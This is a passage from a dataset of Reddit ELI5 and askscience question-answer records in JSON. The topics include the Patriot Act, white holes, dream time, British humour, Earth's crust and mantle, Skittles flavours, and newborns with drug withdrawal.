atoms together inside stars."]}, "title_urls": [], "selftext_urls": ["http://www.reddit.com/r/explainlikeimfive/comments/qklvn/questions_from_a_grade_34_class/"], "answers_urls": [["http://www.reddit.com/r/explainlikeimfive/comments/senwp/more_questions_from_a_grade_34_class/c4dkubb", "http://www.reddit.com/r/explainlikeimfive/comments/senwp/more_questions_from_a_grade_34_class/c4dk50c", "http://www.reddit.com/r/explainlikeimfive/comments/senwp/more_questions_from_a_grade_34_class/c4df8bz", "http://www.reddit.com/r/explainlikeimfive/comments/senwp/more_questions_from_a_grade_34_class/c4dmw9y", "http://en.wikipedia.org/wiki/Archaeopterix"], [], [], ["http://www.youtube.com/watch?v=olPykARjbGw"], [], [], [], [], [], [], [], [], [], [], [], ["http://science.howstuffworks.com/innovation/science-questions/question465.htm"], ["http://upload.wikimedia.org/wikipedia/commons/6/61/Homo_habilis-2.JPG"], [], [], [], [], [], ["http://nurr.hexat.com/files/engine.gif"], [], ["http://www.youtube.com/watch?v=iwYTibTbYHQ"], [], ["http://www4.uwsp.edu/psych/dog/LA/DrP4.htm"], [], [], [], [], [], [], [], [], [], [], [], ["http://en.wikipedia.org/wiki/Nicaraguan_Sign_Language"], [], [], ["http://en.wikipedia.org/wiki/Nicaraguan_Sign_Language", "http://en.wikipedia.org/wiki/Microraptor"], ["http://www.youtube.com/watch?v=xX96xng7sAE"], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "36ylb3", "title": "now that the \"freedom act\" has failed to pass, what does that mean for the patriot act?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/36ylb3/eli5_now_that_the_freedom_act_has_failed_to_pass/", "answers": {"a_id": ["cricl3u", "crid6ax", "cridsf8", "criejil", "crifuzn", "crig7pt"], "score": [122, 23, 19, 2, 5, 6], "text": ["The Patriot Act doesn't expire until the end of the month. Until then, everything will proceed business as usual. Meanwhile, the politicians will stall and haggle and play politics until the last moment, then extend it anyway.", "Can someone ELI5 the freedom act? ", "it means they're going to try again at an unannounced midnight session and we'll all wake up in the morning to find out its been passed", "Then you put out a buzzword campaign like\n\"A vote for the patriot act is a vote against our beloved Freedoms!\nAnyone who voted for it, THROW THE BASTARDS OUT!\" \n", "Does anyone actually think that allowing the Patriot Act to expire or passing the Freedom Act or any other act of any name will stop the the NSA (and all the other acronyms) from collecting our data?  Really?  Maybe I'm just that cynical.", "Until my generation (born in 92) starts out voting thier grandparents not much will change. One thing that will hopefully help is the integration of Internet to third world countries. Most of the world doesn't know how the world works quite yet. Once the people who are willing to take a stand against tyranny have access to what we have, there will be no more passive stand by attitudes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "4sumh4", "title": "Black holes slow down time of nearby clocks relative to an outside observer. What is the theoretical effect that a white hole would have on time?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4sumh4/black_holes_slow_down_time_of_nearby_clocks/", "answers": {"a_id": ["d5ca47k", "d5czlrl"], "score": [22, 14], "text": ["The same. The metric for a black hole is the same as that of a white hole. The exterior part is the same, the black and white hole are different *inside* regions, the former in the future, the latter in the past. In fact, the normal Schwarzschild solution describes a spacetime with both a white and a black hole, simultaneously, sharing an exterior region outside their horizons.\n\nIn real life, the white hole part is unstable and does not occur. Only the black hole in the future forms as the past region is cut short by the fact that well, that's actually where the original star that collapsed was. ", "Adding on to /u/rantonel's answer, here's a useful way to think of a white hole: it's what would happen if you took a black hole and ran time backwards.\n\nThis may seem weird - why should the laws of physics still work if time is going *backwards*? - but as it turns out, most physical theories don't care about which direction time is running. General relativity, Einstein's theory of gravity which predicts black holes, is one of them.\n\nWe can see why white holes are allowed - and why they almost certainly don't exist in the real world - by thinking about a much more everyday scenario. Imagine an egg rolling off a table and falling onto the floor, where it cracks. Now imagine running this movie backwards: you start off with broken pieces of egg on the floor that (for some reason) are moving upwards with some initial velocities, and eventually reconstitute an egg on the table. There's nothing about that scenario that isn't allowed, although in reality it will never happen because the initial velocities of the egg pieces need to conspire in a ridiculously exact way. Even though both the egg-falling-off-table scenario and its time reverse are allowed, one of them is much, much more likely to happen, in the sense that there are ridiculously many more ways for it to occur. This is the essence of the *second law of thermodynamics*, and it's the reason why, even when physics deep down doesn't care about which direction time is going, we still can recognize a past and a future.\n\n(Mathematically, this is just the statement that most equations describing nature - like, for example, Newton's law of gravity F = ma = m d^(2)x/dt^(2) = GMm/x^2 - don't change if you replace t with -t.)\n\nA white hole is very similar. Black holes are thought to be formed by matter collapsing inwards towards an event horizon. White holes are what happen if you run that movie in reverse, with matter spewing out (due to some initial push). Of course, there are many, many more ways for matter to collapse to form a black hole than for matter to spew out from a white hole, and so it's thought that white holes don't form in nature. Indeed, black holes obey [their own versions of the laws of thermodynamics](_URL_0_), the second law included."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Black_hole_thermodynamics"]]}
{"q_id": "2fswpv", "title": "is time passing in dreams contiguous with the actual time passing in reality?", "selftext": "For example: If in my dream I'm having a conversation with someone that takes (say) 20-30min, is this taking up 20-30min of my sleep or is it only a few seconds of \"real\" time?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2fswpv/eli5_is_time_passing_in_dreams_contiguous_with/", "answers": {"a_id": ["ckceoho", "ckcewk0", "ckcgzs3", "ckcin26", "ckcs02k", "ckcy9ge"], "score": [13, 3, 6, 2, 3, 2], "text": ["The mind is a wonderful thing. We don't know for sure though. We have no way to actually document dream times. ", "From what I've been told you experience the dream over the course of a few seconds.  Your brain gets an assortment of random images across the 8 hours that you're asleep and then splices them together just as you wake up in attempt to get across a coherent story.", "From the research I've read, dreams appear to work much the same as our conscious memory. You don't remember every foot of the road you've walked down today, your brain only bothers with remembering the important bits, the highs and lows. Dreams would appear to be just that, just the important bits, like the few moments you would actually remember from a long walk. This makes it seem like it should have taken a much longer time to occur than it did, because you're used to your memories being spread out, but your brain doesn't bother with showing you unimportant stuff while you're dreaming.", "It depends. This is actually a subject of intense fascination for me, because I have personally experienced non-concurrent dream time-that is, I have gone to sleep for about six hours and had a dream(well, if we're going to be accurate, it was a nightmare, a particularly terrifying one) that lasted three days. How this happens I have no idea, but in answer to your question, no, dreams are not always contiguous with reality", "As a person with narcolepsy, I always dream lucid. I experimented with this by having someone sit next to me and giving me certain triggers (many of your senses stay active, if you can find something that would be obvious in your dream you can time it reappearing). I can tell you two things;\n\n- Time in dreams is even more relative than Einstein's theory would make 'real' time.\n- As said by someone else, your brain skips a ton of stuff. When you're completely lucid and you count to ten, it could still very much mean that a few minutes have passed in real time or the other way around. When not lucid (way harder to test, just like it's hard to test if a tree is concious or not) it is an accepted belief that time passes quicker in dreams e.g. you can dream a few years in just a night.\n\nSo dreaming 20-30 minutes will generally not take up 20-30 minutes of your sleep time. It will not take a few seconds, it will still usually be a few minutes, but it's not in an absolute 1:1 ratio.", "I always sleep with earbuds in, and I've been having a ton of dreams lately. At times I can actually hear the podcast coming through the earbuds while dreaming, it seems to be 1 to 1. However, maybe my brain is slowing down or speeding up one or the other, who knows."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "3cyq5g", "title": "what exactly is british humour and why is it held in such high regard?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3cyq5g/eli5_what_exactly_is_british_humour_and_why_is_it/", "answers": {"a_id": ["ct06nkw", "ct06wmh", "ct074nl", "ct0797x"], "score": [18, 3, 5, 2], "text": ["A lot of sarcasm and deadpan, and often a lot of a satire given it goes naturally with deadpan sarcasm. Absurdism also makes regular appearances.\n\nIt's held in high-regard because a lot of people like it or find it witty. \n", "Monty Python answers both those questions. I know it is an older movie for a lot of Redditors, but every one should watch Monty Python's Quest For the Holy Grail.", "There is more than one style of British humout, and it is not held in high regard. There is High British humour. Noel Coward and perhaps Tom Stoppard. Dry, with an edge of sarcasm. Admired by Brits, but not many others.\n\nMiddle British humour. Monty Python the greatest proponent of this. Absurdist, mocking of social convention, full of subtle irony - and some crudity for shock value. Widely admired.\n\nLow British humour. Cf. Benny Hill. Nobody I know of finds it even slightly amusing except the British.", "Arrested Development says it's confusing a mentally retarded person with a comedian with a British accent."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "355bdn", "title": "What would the bottom of the crust and top of the mantle feel like?", "selftext": "As in the title.  I know the heat of the crust increases greatly as you approach the mantle, but is it possible for a geologist to describe to me what the bottom parts of the crust and top of the mantle \"feel\" like?  Squishy?  Thick and viscous?  Does it get liquid-y?  Super curious.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/355bdn/what_would_the_bottom_of_the_crust_and_top_of_the/", "answers": {"a_id": ["cr1c8fv"], "score": [104], "text": ["This question actually gets at a fundamental debate within geology, or at least tectonics/geophysics. First, a few important points of terminology and clarification so that the explanation that follows make sense to everyone. 1) Their are two fundamentally different types of crust, [oceanic crust](_URL_9_), which is largely basalt and is relatively thin, usually on the order of ~10 km thick, and there is [continental crust](_URL_1_), which is much more variable in composition and thickness, but saying it's generally andesite and 30-50 km thick is a good first approximation. 2) As you stated, below the crust is the mantle, which is primarily [peridotite](_URL_0_), with the boundary between the crust and the mantle (the [moho](_URL_8_)) representing a compositional change. 3) The top part of the mantle and the crust however are coupled to a certain degree and together form the [lithosphere](_URL_3_), which are basically the tectonic plates. And 4) the behavior and strengths of these various different earth materials in these different layers will depend on several factors, principally composition, temperature, pressure, and water content (addition of water drastically reduces the strength of materials).\n\nNow that all of that is out of the way, to get to your question. For oceanic crust, the crust and mantle contact is likely just like solid rock, just hot. For a lot of this, it is useful to consider strength profiles, like [this one](_URL_6_). On these diagrams, the y-axis is depth and the x-axis is maximum [differential stress](_URL_2_), which for this discussion can be thought of as strength (higher max differential stress means more resistant to breaking or flowing). In the strength diagram, the left one is oceanic lithosphere, and we can see that the strength increases with depth passing from the crust into the mantle lithosphere and has its peak within the mantle lithosphere. This is because of the thinness of the oceanic crust and because of the materials involved. This means that in terms of your question, we wouldn't see much of a change in \"consistency\" across the crust mantle boundary, the mantle side would just be a little stronger and very much still solid. \n\nWhen we get to continental crust, it's a different story and that's where the debate begins. There are two broad ideas (with lines of evidence to support both) about the strength profile of the continental crust, which, in the grand tradition of food analogies, are referred to as the \"jelly sandwich\" and the \"creme brulee\" models. The jelly sandwich model argues that the upper continental crust is strong (top piece of bread), the lower crust is weak (jelly) and the upper mantle is strong (bottom piece of bread) and that in detail, a lot of the strength of the lithosphere as a whole resides in the mantle lithosphere (so maybe the bottom bread is stale). This jelly layer exists because of the materials involved, specifically quartz within the continental crust. Quartz begin to behave ductilley at higher temperatures (flow like a liquid on long time scales, but **still solid**) and this is basically the jelly in our sandwich. In the creme brulee model, the upper crust is strong (delicious caramelized sugar) and the lower crust and mantle are weak and behave plastically (delicious custard). To illustrate this, lets take a look at some [strength profiles](_URL_7_), which are taken from this [paper (pdf)](_URL_4_). The top right one is the traditional jelly sandwich, the bottom left is a modified version where the strength actually resides in the lower crust and the mantle is weak, and the bottom right is the creme brulee. What you can see from this diagram is this all really comes down to water. If the upper mantle is dry, it is strong (like in the jelly sandwich), but if it's wet, it's likely weak. The jelly sandwich is still the dominant model, but the debate still exists. If you have access to a library and enjoy long technical papers, [this](_URL_5_) is an excellent review of this debate.\n\nSo, at long last, if within continental crust, if the jelly sandwich model is correct, then the bottom of the crust would be \"gooey\" (flowing on long time scales) but still solid, where as the top of the mantle would be quite rigid and strong (i.e. a rock). If, however, the creme brulee model is real, then both would be \"gooey\", behaving like ductile/plastic solids.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Peridotite", "http://en.wikipedia.org/wiki/Continental_crust", "http://en.wikipedia.org/wiki/Differential_stress", "http://en.wikipedia.org/wiki/Lithosphere", "http://www.geosociety.org/gsatoday/archive/12/9/pdf/i1052-5173-12-9-4.pdf", "http://www.sciencedirect.com/science/article/pii/S0264817211001425", "http://www.ivanic.tv/tim/ugrad/24hr%20essay/index_files/image010.gif", "http://pangea.stanford.edu/~dpollard/NSF/web_images/figure_8.jpg", "http://en.wikipedia.org/wiki/Mohorovi%C4%8Di%C4%87_discontinuity", "http://en.wikipedia.org/wiki/Oceanic_crust"]]}
{"q_id": "2sldqr", "title": "why did skittles switch from lime to green apple?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2sldqr/eli5_why_did_skittles_switch_from_lime_to_green/", "answers": {"a_id": ["cnqkxiw", "cnqsz7y", "cnqviwv", "cnqxiam", "cnqyniw", "cnr2jd5", "cnr3ndk", "cnr42kk"], "score": [98, 2, 2, 7, 3, 2, 3, 2], "text": ["The lime was almost identical to The lemon flavor. After some market research they figured sour apple was testing higher than the lime flavor. So they changed it. Same with M & Ms, the blue color tested better than the tan so they changed it. When it comes to candy the recipes rarely change. To refresh a campaign like Skittles it was smart to add a new flavor without any noticeable changes to the look. Candies do come out with different takes on the original product, but they always keep the original as original as they can. A good example of why you shouldn't fix what isn't broke was the \"New Coke\" they tried to come out with in the 80's. It tanked and they came back with Coca-Cola Classic. ", "So I have relatively minor old compared to monk and other tv things we see. But I am medicated for it. I have a particular way I eat colored candy. And when I bit into the new green it bugged my brain so much I haven't been able to eat them since. And I used to eat skittles practically daily.  Fyi I also cannot eat the riddles. Don't get me started.", "The lime still exists... On the Dark Side.... It is home to many flavors some consider to be... unnatural.", "Sweetarts did the same thing, purely because Green Apple tested better than lime.\n\nI think they're all fools and lime is infinitely superior to green apple, but that's my opinion WHICH APPARENTLY DOESN'T MATTER. Whatever. I'm not bitter.\n\nAnyways, yeah, green apple is vastly different than lemon, which lime was not, and most people prefer that. This makes a minority of people sad.", "I feel like I can hardly distinguish one artificial flavor of cheap confectionery from another but I'll be outside Mars, Inc.'s headquarters with my pitchfork in support of OP.\n\n & nbsp;\n\n------E", "When did this happen? Is it just in the US? Green Skittles were/are the best. I love lime flavoured sweets, but not lemon, so there must be noticeable taste differences.", "All I know is I quit eating skittles when they made the switch.", "Because some people just want to watch the world burn! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "avkttx", "title": "when people describe babies as \u201caddicted to ___ at birth\u201d, how do they know that? what does it mean for an infant to be born addicted to a substance?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/avkttx/eli5_when_people_describe_babies_as_addicted_to/", "answers": {"a_id": ["ehfvd1w", "ehg80na", "ehg81p1", "ehg8o1o", "ehg8o22", "ehg9at5", "ehgb4fe", "ehgbvzj", "ehgeusd", "ehgf157", "ehgfw93", "ehgg7ny", "ehggofb", "ehggucq", "ehggx9u", "ehgh4nm", "ehghy7f", "ehgkypo", "ehglpcy", "ehgmhja", "ehgnaqh", "ehgor5v", "ehgoxi6", "ehgoz6g", "ehgozqi", "ehgpj88", "ehgrhgj", "ehguo1o", "ehgvmka", "ehgws28", "ehgyvk2", "ehh82sm", "ehhcuo1", "ehhrkls", "ehhrss9", "ehhtelf", "ehhv0k1", "ehhvbf9", "ehhz9e8", "ehi89c7"], "score": [3435, 208, 36, 4779, 6, 2, 27, 6, 13, 512, 4, 9, 4605, 2, 1103, 3, 2, 2, 24, 8, 7, 3, 9, 32, 2, 2, 2, 4, 2, 2, 4, 2, 2, 6, 2, 2, 2, 2, 2, 2], "text": ["Some drugs are able to cross the placenta and enter the fetus.   Exposure to a drug over time, followed by an abrupt cessation of the drug intake (as would happen when the umbilical cord is no longer functioning) can induce symptoms of withdrawal in humans including newborn infants.  \n\nNow infants can't tell you exactly what they are feeling, but blood toxicology screening of the parent (or just the parent admitting) and a few physical symptoms can usually tell a lot.", "Addiction to certain chemicals, contrary to what some might suggest, is a physiological phenomena. Sudden cessation of benzodiazepines or alcohol can cause seizure and death for instance. These drugs and other chemicals pass the BBB and thus the placenta, so they enter the bloodstream of your fetus. \n\nYour infant is subsequently physiologically addicted to these chemicals. In the case of alcohol that likely caused some degree of brain damage. Opioid addiction likely wouldn\u2019t but withdrawal upon birth would likely cause severe discomfort and trauma. These chemicals (including caffeine) pass through breast milk as well. There are many cases of infants overdosing via breastmilk as a result of the drugs their mother took. ", "They\u2019re generally referring to newborn withdrawal from maternal drug use.\n\nSome pharmaceutical drugs can cause withdrawal symptoms but are still used during pregnancy because the benefit outweighs the risk, but generally neonatal withdrawal is seen with maternal illicit drug use.", "Me and all 7 of my siblings come from a heroin/crack/ meth user.  We all had the shakes and seizures when we were born.  A multitude of other withdrawl symptoms correlating to drug use. 7 different siblings, 7 different fathers. Crazy life. She is at Chino Womens Prison for the next 20 years as of last year. Crazy life.\n\nEdit just to say that social workers are over worked, underpaid and emotionally destroyed within a few years.\n\nEdit 2. There is a lady in this world who has taken in hundreds of kids. And im not exaggerating. Last time i went to go speak with her she estimated that she had taken in and nurtured about 300 kids in her stint as a short term and long term foster mother. Her husband deserves as much credit as well. They are in their 90s now but they have never received any recognition and they have never asked for it. But if there are such things as angels, that is what they are. I will upload a happy picture of me and 11 of my foster brothers and sisters all sitting in high chairs while they cooked in the background. It will make you guys smile.\n\nEdit: Dam, you guys are really serious about this AMA...\n", "When I worked in labor and delivery we would screen for drug use. We even had someone come in drunk. At times, women would be honest about drug use. If we suspected drug use we would take urine/meconium samples from baby to test. Also, we kept a segment of the umbilical cord to screen. The babies do withdraw and nurses use a scale. Depending on the type of withdrawal and symptoms we would intervene accordingly. It was depressing to monitor those babies. Here is a link to a Neonatal Abstinence Syndrome (NAS). _URL_0_", "The general way to know that a baby is addicted to anything is by checking the mother during pregnancy. Some things that the mom eats or drinks can pass through her milk/placenta to the baby and make the baby experience them too. If it's at the point where the mom wants it a lot (is addicted), then it is highly likely that the baby is going to want it too (also addicted). \n\nOnce the baby is born the baby still wants those things, but usually isn't getting enough of it just through breast milk and will go into withdrawal and have symptoms (low blood pressure, shaking, sweating, seizures). If the withdrawal is bad enough, the baby can have seizures or straight up die early on. An addicted infant is basically like an adult being addicted, and to a substance like alcohol will sometimes have to be weened off of it similar to how an adult would be.", "They experience withdrawal after birth. From whatever their mother was ingesting. I go to a methadone clinic and sometimes see pregnant women come in. It's really sad.", "Speaking from experience, I was addicted to heroin at birth. Some drugs can cross over to the baby through the umbilical cord. ", "There are lots of different signs of substance withdrawal that can be seen in infants. It isn\u2019t always apparent directly after birth and can take a few days to be fully noticeable. Some include: tremors (with or without being disturbed by someone, excessive sucking, the amount of time it takes them to regain a calm state after being disturbed(basically consolability), excessive high pitched cry, loose stool, sweating, fever, the amount of time they stay asleep between feedings, vomiting, seizures, skin breakdown(from thrashing or diarrhea), altered reflexes, difficulties with breathing, excessive sneezing, poor feeding, etc. \n\nIn the hospital I work at, we drug test in cases where drug use has been disclosed or suspected. Unfortunately there\u2019s not really treatment for other drugs besides opioids. ", "I know this will probably get buried, but I just wanted to leave a comment and thank all of you guys who are commenting. I know this is a dark topic but I love to learn and this sub always does a great job. I appreciate your effort and care in answering. Thank you!", "\"Addicted\" is the wrong descriptor for these situations. Addiction is behaviour. These infants are born dependent on certain drugs they were exposed to and suffer withdrawal symptoms. ", "Expert here. Short answer is ... it depends. Babies come out at different stages of addiction. Most don\u2019t recognize it because honestly a baby has to hit rock bottom before we can get them to agree to treatment. It takes many babies upwards of 18-30 years of struggles to accept their addiction and agree to treatment. ", "I work in Neonatal ICU and we have had a fair share of addicted infants. A couple of signs are an inconsolable cry and poor eating. If the mom admits she used we may be able to get a poop and urine sample. Since the baby\u2019s 1st poop (meconium) has been collecting for months we can tell if mom used earlier in pregnancy. If mom doesn\u2019t fess up there are some telltale symptoms. They can be either frantic when eating or uninterested. Some of them arch their backs so hard they can\u2019t even be swaddled. Some will shake, tremor, have stomach pains, liquid poops that give them a horrible butt rash, some run fevers, move around so much they excoriate their skin. Usually it is a mix of several of the symptoms. They can\u2019t sleep. They are truly suffering and have no filter. We carry and hold them a lot. Sometimes they need a feeding tube. To help with their symptoms they may get morphine or methadone. ", "There is a phenomenon called NAS : neonatal abstinence syndrome. This is something babies experience when they are physically disconnected from their mother who was \u201cfeeding\u201d them the drugs through the umbilical cord or the placenta.\nIt\u2019s kind of like going cold turkey baby style. They stop having the product they are physically dependent on. For opioid dependent babies, they administer morphine in small doses to help taper off less violently.\nPoor little things start off life with a brutal experience, breaks my heart to think about it. ", "Crack baby here. My adoptive mom told me that I never stopped crying for the first 3 months. I also had tremors where I'd shake uncontrollably randomly. Doctor's told my mom I'd never be able to go to a normal school because of it. Lots of stigmas back then. I'm a perfectly normal 24 year old with a bachelor's degree.", "It\u2019s based on the child having withdrawal symptoms after testing positive, they test the first bowel movement of every newborn ", "No baby is born addicted.  Addiction features compulsive drug use in spite of self destructive consequences.  Babies simply do not do that and cannot do that.  They have dependence.  Addiction isn't the dependence on drugs, it's the maladaptive behavior that surrounds dependency.  Dependence is the physical, addiction is the social.  It's also why after dealing with withdrawal these babies don't act like they need the drug.  It's gone out of their system and that's it.", "If a pregnant mom is addicted to drugs, the baby gets addicted. When the baby is born, the baby is no longer getting the drug mom consumes. Baby will start to experience withdrawal depending what type of drug(s) mom used. Baby withdrawal symptoms range from high pitched crying, seizures, tremors, vomiting, and diarrhea. Babies get scored with a Finnegan score system to know how bad is the withdrawal. If there are many bad scores then baby will receive medication, such as morphine, to ease the withdrawal symptoms. Medication will slowly be reduced by doctor depending how is baby. ", "I work as a nurse on a mom/baby floor that sees a lot of drug addicted patients.  Some drugs can cross the placenta and enter the babies bloodstream and cause problems after birth.  Some drugs can also increase the risk of certain problems with pregnancy, like having a small baby, having the baby too early, or the placenta separating from the uterus before birth (which is an emergency). \n\nA lot of the time, moms actually admit to using drugs - either in the past and it\u2019s recorded in their health history, while they\u2019re pregnant, or when they show up to have the baby.  Most moms do truly want the best for their babies and they know that withdrawal is painful and dangerous, so they admit it.  If we have any suspicion that the mom used drugs while pregnant, we collect meconium (baby\u2019s first poop) and urine (by attaching a sticky bag to the genitals) to see what drugs are in the babies system and we can do this even without parental consent.  The urine usually only comes back positive if the mom has used something recently, while meconium gives us a longer term picture.\n\nThen for narcotics, we use a withdrawal scoring system called Neonatal Abstinence Syndrome to determine whether or not the baby is withdrawing and if so, how badly.  They get scored on similar things that adults who are withdrawing get scored on using the Clinical Opiate Withdrawal Scale.  For example, they get scored if they have tremors, fevers, increased respiratory rate, diarrhea, runny nose, inconsolability/irritability, a high pitched cry, etc.  \n\nIf the scores are low, the baby typically stays in the room with mom until she goes home and then is transferred to the NICU until it is at least five days old because it can take that long for withdrawal to set in.  If the scores get above a certain point, the NICU starts giving medications, like clonidine, phenobarbital, and morphine to help lessen the symptoms.  Social workers get CPS involved and they decide whether or not the baby goes home with the mom.  \n\nAs a fun bonus fact, our neonatologists actually encourage breastfeeding for withdrawing babies IF the mom is participating in a drug treatment program that prescribes suboxone or subutex (drugs similar to methadone) because the small amounts of those drugs that pass to the baby through breast milk help with the baby\u2019s withdrawal symptoms!  ", "So, as people have said, opiates and other addictive substances can cross the placenta. Generally, if a woman has taken substances in the 3rd trimester (or throughout pregnancy) the child is more likely to be addicted to said substance. They will then do monitoring after birth for seizures, restlessness (where babies don't settle no matter what you do), needing extra cuddles, screaming (oh god the screaming, they cry in a way completely different to non addicted babies) and some other criteria. They score the baby every day and will treat with a reducing course of morphine to settle them. \n\nSource - pharmacist with hospital experience on a baby unit. ", "For the first part of your question: We call it Neonatal Abstinence Syndrome (NAS). It is a syndrome of drug withdrawal observed in babies of women physically dependent on drugs. It could be opioids, alcohol, antidepressants, antipsychotics etc. Assessment of this risk is usually made by midwives caring for mother during the pregnancy, and the baby is automatically admitted to the Special Care Nursery when born for observation and withdrawal treatment.  Babies of mothers dependent on cannabis can have delayed onset withdrawal up to a month after birth so usually need special referral for a postnatal  review rather than hospitalisation.\n\nNAS is manifested by symptoms including neurological excitability, gastrointestinal dysfunction, autonomic signs, poor feeding, sleep-wake abnormalities, vomiting, dehydration, poor weight gain, neuromuscular abnormalities and occasionally seizures.\n\nAssessment begins within two hours of birth, and continues four-hourly, 30 mins to one hour post feed, for a minimum of four days. As others have mentioned, scores are 1 to 4 for high pitched cry, tremors, increased muscle tone, excoriation, yawning and sneezing, nasal flaring, excessive sucking, poor feeding and regurgitation.\n\nSecond part of your question: High incidence of mental health co-morbidity associated with alcohol and drug dependency, which can lead to poor maternal-infant bonding and adversely impact on infant psychosocial development, in addition to serious mental health consequences for the woman. All women and babies should have ongoing assessment for mental health problems by members of the care team who must be able to recognise mental health problems and refer for specialist mental health care when required.\n\nSOURCE: [_URL_1_](_URL_0_)\n\n & #x200B;", "There are drug screens and confirmation tests for infants.  You screen the mother, and if she's positive, you screen the baby. \n\nBabies shouldn't exhibit certain behaviors.  If it's abnormal, drug withdrawal might be suspected.  ", "Neonatal doctor here: it\u2019s nasty. Others have described it well but if anyone is interested in a a non-eli5 version here is a common scoring system a nurse would routinely use in a neonate suspected to be withdrawing. _URL_0_  Depending on their score we give them certain amounts of sedative to try settle them down. Can take weeks :(", "Remember that addiction isn't always just a feeling of desire, but also a physiological dependence upon the drug.\n\nELI5: When the baby is in the mommy, they get their food from where mommy gets her food. If mommy smokes a cigarette, baby smokes a cigarette. If mommy smokes meth, baby smokes meth. When mommy's body is telling her she needs meth badly while she's pregnant, then the baby is feeling that too, to an extent. When the baby is born, they aren't getting meth from mommy using it anymore, even though they got so use to having it. When anyone uses a drug that consistently, their body becomes almost dependant on it. Going without it after having it for so long causes bad things to happen like seizures and hallucinations. When the baby starts showing these symptoms then you know it became dependant while it was still inside mommy. ", "We know the baby is addicted if the mother was using drugs during pregnancy. And not like used once, I mean the mom was an addict herself. There can also be babies with postnatal addiction syndrome if the mother is on SSRIs (a class of depression meds). Some signs of withdrawal in babies are: ongoing scream like crying, rigid muscles, seizures, twitching/muscle jerks, sneezing, changes in temperature and respiratory rate, trouble latching on the nipple/eating, trouble sleeping, not cueing for feeding on own, and stomach upset. Alternatively, babies born with FAS (fetal alcohol syndrome) often cry less. The hospital is usually aware and will put the baby on morphine, and sometimes clonidine as well, for opiate withdrawal. Babies born addicted to stimulants are often not medicated (none in my experience). The baby is slowly weened off of the meds. Also, mothers on methadone will have an addicted baby. However, if the mother breastfeeds, some of the methadone is transfered that way and meds are often not necessary. The necessity or dosage of meds for baby is dependant on how heavy of a user the mom was, and if she used right up until close to delivery. Being born addicted makes it easier to become addicted as an adult, so people who are born addicted may want to take extra care when taking drugs of the same type as an adult. There are also physical and mental issues which may present in adulthood as well. Babies are often kept in the NICU for a while before being sent home. \nSource: I work in a hospice for addicted pregnant ladies/new moms, and I help take care of the heroin  &  meth babies.  ", "I have heard there can be long term effects also like apparently children of mothers who used heroin while pregnant are more likely to develop ADHD.", "I was a post partum nurse for 4 years working with drug addicted babies on a regular basis. We would know from the mom\u2019s prenatal visits and lab results that she tested positive for a substance or if they had a history of abuse of a substance. Once the baby was born, we would try get urine from them for a drug screen and we would send a portion of their umbilical cord to the lab since the umbilical cord can show us long term what substances the baby has been spouses to in the womb (like a hair test for drugs on adults). Then, we monitor the baby every 4hours for signs and symptoms of withdrawal from the substance. Signs include: tremors (when touched only aka disturbed or undisturbed), sneezing, increased respiratory rate, increased heart rate, increased temperature, sweating, mottling of the skin, rash on the body (in babies it was usually on their chin from moving so much in agitation and their chin would rub against the blanket they were swaddled in), diarrhea, inability to sleep, high pitched cry, inability to be calmed in normal ways, poor feedings and excessive sucking. If the babies scored a certain amount, we would move the vital signs and scoring to every 2hrs. If they hit a certain number, they were transferred to or NICU and usually started on drugs to help decrease their pain with withdrawal. Once they were admitted to the NICU, most babies would remain inpatient for 30-90 days to bring them down safely off the medications and not make their detox pure hell. These poor babies are so agitated and just scream for hours on end, they need almost constant attention. ", "There is great info in this thread. I run a Suboxone clinic and work in public health, so my two cents: if a mother is on Suboxone, the baby will be born physically dependent on Suboxone, as it is a partial opiate. The baby will still withdraw and need a detox protocol. Obviously, we would prefer mom to be on Suboxone rather than using illicit substances. In the past, we put pregnant moms on Subutex - buprenophine with no naloxone in it - because we thought the naloxone could harm baby. Now data shows that isn\u2019t the case. Naloxone is the opiate \u201cblocker\u201d and therefore added protection if a person chose to use.", "I work in NICU (newborn Intensive Care Unit) and we get a ton of NAS (neonatal abstinence syndrome) babies who are withdrawing from anything from meth, to cocaine, to methadone (which ironically is one of the hardest for a baby withdraw from). These babies are constantly screaming, and not a normal baby cry, a velociraptor cry. They are shaking and having stomach problems. The best way I explain it to people is that the babies are just CONSTANTLY uncomfy. It\u2019s like waking up at 3 am knowing you need to wake up in two hours and you can\u2019t find a comfy spot. Their exhaustion and frustration just builds and it can be a very sad process watching them withdraw and learn to live without the substance. ", "Just to add to everyone else's comments, an infant born with an addiction has a chemical dependency. That's when your body has become so used to the drug, it now believes it needs it to survive, like it needs water, oxygen, sugar, etc.\n\nAs an example, nicotinic receptors in your brain respond to the neurotransmitter acetylcholine. But they also respond to nicotine. When you take a drag, nicotine can reach these receptors in 6-10 seconds, triggering a release of dopamine, along with some other things that all contribute to feeling really good. The more nicotine you use, the more receptors your brain makes, the more you crave nicotine. If you try to stop, your brain gets pissed and starts demanding nicotine. This is a chemical dependency. Your body now believes it needs this substance and is constantly telling you to go get it, as it would if you stopped drinking water or eating anything of nutritional value. This is withdrawal. It can take a long time for your brain to get used to the fact that you won't be getting anymore. My mother in law hasn't smoked in over 30 years, but she says and time she smells it, she gets a craving. \n\nNow, not all drugs work the same way, of course, but the principle is the same. Your body changes in response to the new substance, believes it needs it, and will react unhappily if it doesn't get 